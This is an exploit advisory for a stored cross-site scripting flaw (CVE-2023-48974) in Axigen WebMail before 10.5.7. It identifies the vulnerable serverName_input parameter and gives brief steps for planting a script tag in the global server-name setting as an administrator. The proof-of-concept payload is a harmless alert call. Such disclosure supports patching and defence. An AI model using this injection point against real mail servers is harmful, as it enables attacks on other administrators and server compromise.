# Exploit Title: Axigen < 10.5.7 - Persistent Cross-Site Scripting
# Date: 2023-09-25
# Exploit Author: Vinnie McRae - RedTeamer IT Security
# Vendor Homepage: https://www.axigen.com/
# Software Link: https://www.axigen.com/mail-server/download/
# Version: (10.5.7) and older version of Axigen WebMail
# Tested on: firefox, chrome
# CVE: CVE-2023-48974

Description

The `serverName_input` parameter is vulnerable to stored cross-site
scripting (XSS) due to unsanitized or unfiltered processing. This means
that an attacker can inject malicious code into this parameter, which will
then be executed by other users when they view the page where the parameter
is used. This is affecting authenticated administrators, and the attack can
be used to attack other administrators with more permissions.

Exploitation

1. Login as administrator
2. Navigate to "global settings"
3. Change server name to <script>alert(1)</script>
